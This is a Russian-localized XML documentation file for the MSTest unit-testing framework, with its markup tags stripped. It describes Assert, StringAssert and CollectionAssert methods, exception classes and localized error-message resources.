Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Создает исключение AssertFailedException. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Статические переопределения равенства используются для сравнения экземпляров двух типов на равенство - ссылок. Этот метод не должен использоваться для сравнения двух экземпляров на - равенство. Этот объект всегда создает исключение с Assert.Fail. Используйте в ваших модульных тестах - Assert.AreEqual и связанные переопределения. - - Объект A - Объект B - False (всегда). - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Заменяет NULL-символы ("\0") символами "\\0". - - - Искомая строка. - - - Преобразованная строка, в которой NULL-символы были заменены на "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Вспомогательная функция, которая создает и вызывает AssertionFailedException - - - имя утверждения, создавшего исключение - - - сообщение с описанием условий для сбоя утверждения - - - Параметры. - - - - - Проверяет параметр на допустимые условия - - - Параметр. - - - Имя утверждения. - - - имя параметра - - - сообщение об исключении, связанном с недопустимым параметром - - - Параметры. - - - - - Безопасно преобразует объект в строку, обрабатывая значения NULL и NULL-символы. - Значения NULL преобразуются в "(null)", NULL-символы — в "\\0". - - - Объект для преобразования в строку. - - - Преобразованная строка. - - - - - Утверждение строки. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not begin with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not end with - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not match - . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if matches . - - - - - Коллекция вспомогательных классов для тестирования различных условий, связанных - с коллекциями в модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is found in - . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a null element is found in . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is not found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if every element in is also found in - . - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Определяет, является ли первая коллекция подмножеством второй - коллекции. Если любое из множеств содержит одинаковые элементы, то число - вхождений элемента в подмножестве должно быть меньше или - равно количеству вхождений в супермножестве. - - - Коллекция, которая с точки зрения теста должна содержаться в . - - - Коллекция, которая с точки зрения теста должна содержать . - - - Значение True, если является подмножеством - , в противном случае — False. - - - - - Создает словарь с числом вхождений каждого элемента - в указанной коллекции. - - - Обрабатываемая коллекция. - - - Число элементов, имеющих значение NULL, в коллекции. - - - Словарь с числом вхождений каждого элемента - в указанной коллекции. - - - - - Находит несоответствующий элемент между двумя коллекциями. Несоответствующий - элемент — это элемент, количество вхождений которого в ожидаемой коллекции отличается - от фактической коллекции. В качестве коллекций - ожидаются различные ссылки, отличные от null, с одинаковым - количеством элементов. За этот уровень проверки отвечает - вызывающий объект. Если несоответствующих элементов нет, функция возвращает - False, и выходные параметры использовать не следует. - - - Первая сравниваемая коллекция. - - - Вторая сравниваемая коллекция. - - - Ожидаемое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Фактическое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Несоответствующий элемент (может иметь значение NULL) или значение NULL, если несоответствующий - элемент отсутствует. - - - Значение True, если был найден несоответствующий элемент, в противном случае — False. - - - - - сравнивает объекты при помощи object.Equals - - - - - Базовый класс для исключений платформы. - - - - - Инициализирует новый экземпляр класса . - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Строго типизированный класс ресурса для поиска локализованных строк и т. д. - - - - - Возвращает кэшированный экземпляр ResourceManager, использованный этим классом. - - - - - Переопределяет свойство CurrentUICulture текущего потока для всех операций - поиска ресурсов, в которых используется этот строго типизированный класс. - - - - - Ищет локализованную строку, похожую на "Синтаксис строки доступа неверен". - - - - - Ищет локализованную строку, похожую на "Ожидаемая коллекция содержит {1} вхождений <{2}>. Фактическая коллекция содержит {3} вхождений. {0}". - - - - - Ищет локализованную строку, похожую на "Обнаружен элемент-дубликат: <{1}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое значение имеет другой регистр: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять не больше <{3}>. {0}". - - - - - 